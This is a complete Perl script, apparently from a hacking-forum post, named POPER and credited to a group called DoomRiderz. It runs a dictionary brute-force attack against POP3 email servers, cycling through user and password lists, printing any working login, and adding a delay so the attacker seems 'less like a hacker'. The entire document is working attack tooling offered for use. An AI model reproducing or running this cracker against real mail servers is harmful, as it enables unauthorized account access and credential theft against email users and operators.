Код:
#!/usr/bin/perl ################################################################################ # POPER - Pop3 Email Cracker # by-free0n # DoomRiderz - doomriderz.co.nr # usage: perl poper.pl ################################################################################ # This is a pop3 brute force dictionary attacker that can # read a list of users or specified user and run a password # list attack against them. The brute forcer has a delay option # which makes it not clog up the server with to many connections # the option is defaulted to 10 seconds but can be changed for longer # iterations. ################################################################################ use Net::POP3; #default variable options my $host = "localhost"; my $delay = "10"; my $account = ""; my $status = "1"; #arrays we use to store the usernames and passwords #from the files @users = (); @passes = (); #this is the name of the user and pass list #by default it looks in the current directory as #the script. So you will need to have a user list #called users and a password list call pass $user_list = 'users'; $pass_list = 'pass'; #variable is used to call clear which clears our screen my $clear = '/usr/bin/clear'; #clear the terminal screen and write out the pretty banner :) sub CLANSCR { open (CLEAR, "|$clear"); close (CLEAR); print "-----------------------------------------------------------------\n"; print "POPER POP3 Email Attacker\n"; print "by-free0n\n"; print "DoomRiderz - doomriderz.co.nr\n"; print "Usage: perl poper.pl\n"; print "------------------------------------------------------------------\n"; }; #input gathers all the user input we need to launch the #attack sub INPUT { print "Please enter the host:"; $host = <STDIN>; chomp $host; print "Login Delay (10 seconds default):"; $delay = <STDIN>; chomp $delay; print "Do you know a user account? [y/n]:"; $account = <STDIN>; chomp $account; if($account eq "y") { print "Please enter the user account:"; $account = <STDIN>; chomp $account; } else { $account = ""; } print "Would you like to display accounts being tried? [y/n]:"; $status = <STDIN>; chomp $status; if($host eq "") { die("No host specified aborting!"); } if($delay eq "") { $delay = 10; } print "Starting the Attack! please wait for status update...\n"; }; #call our subs this is more of the main #start of the application.. &CLANSCR; &INPUT; #try and open the pass file open (PASS, "$pass_list") or die "Can't find the pass file abort!\n\n"; #we decide if we are going to load the userlist or #an account specified in the options if($account eq "") { open (USER, "$user_list") or die "Can't find the user file abort!\n\n"; while($uline = <USER>) { ($user) = split(" ",$uline); push @users, "$user"; } close(USER); } else { push @users, "$account"; } #store passwords in list while ($pline = <PASS>) { ($pass) = split(" ",$pline); push @passes, "$pass"; } close(PASS); foreach $user (@users) { foreach $pass (@passes) { #this little countdown script is what causes the delay #the delay is useful so we don't overload the server at once #but can kind of test the account one per minute or one per hour #kind of making us less seem like a hacker i guess.... if($delay > 0) { $countdown = $delay; while($countdown > 0) { sleep 1; --$countdown; } } #connect to the host $pop = Net::POP3->new($host, Timeout => 60) or die("couldn't connect to host:" . $host); #display status of accounts that are being tested if($status eq "1" or $status eq "y") { print "Trying " .$user . " password " . $pass . "\n"; } if($pop->login($user, $pass)) { #let the user know we found an account, \a sets of the terminal bell print "\a"; print "--------------------------------------------------------------\n"; print "Login found\n"; print "--------------------------------------------------------------\n"; print "username:" . $user . "\n"; print "password:" . $pass . "\n"; print "--------------------------------------------------------------\n"; exit; } $pop->quit(); } }